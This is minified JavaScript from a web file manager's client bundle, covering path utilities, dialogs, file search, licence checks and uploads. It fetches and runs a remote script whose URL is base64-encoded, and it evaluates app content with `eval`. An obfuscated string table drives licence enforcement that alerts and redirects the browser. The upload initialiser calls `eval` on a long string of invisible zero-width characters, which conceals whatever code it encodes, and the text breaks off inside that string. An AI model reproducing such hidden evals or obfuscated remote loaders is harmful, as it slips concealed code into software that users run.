a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i='
        '+t+"
        ",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a="";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(''),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+''+''+''+''+''+''+'
        loading..
        ';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s="
        "+"
        "+s+"
        "+"
        "},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n
      • \n
        \n \n {{\'folder\' |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | window.htmlEncode}}\n {{v.search_info.length}}\n \n
        \n
          \n {{each v.search_info as value index}}\n
        • \n {{value.line}}:\n {{#value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'
        \n \n
        \n
        \n
        \n
        {{LNG.upload_select}}
        \n \n \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n
        \n
        \n
        {{LNG.download_address}}\n
        \n \n \n \n
        \n\n
        \n
        \n
        \n
        \n
        \n
        \n
        \n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+"");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+""+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]); +var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
        '+'
        '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
        ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
        ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=10485760;chunkSize>=G.upload_max&&(chunkSize=.6*G.upload_max),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍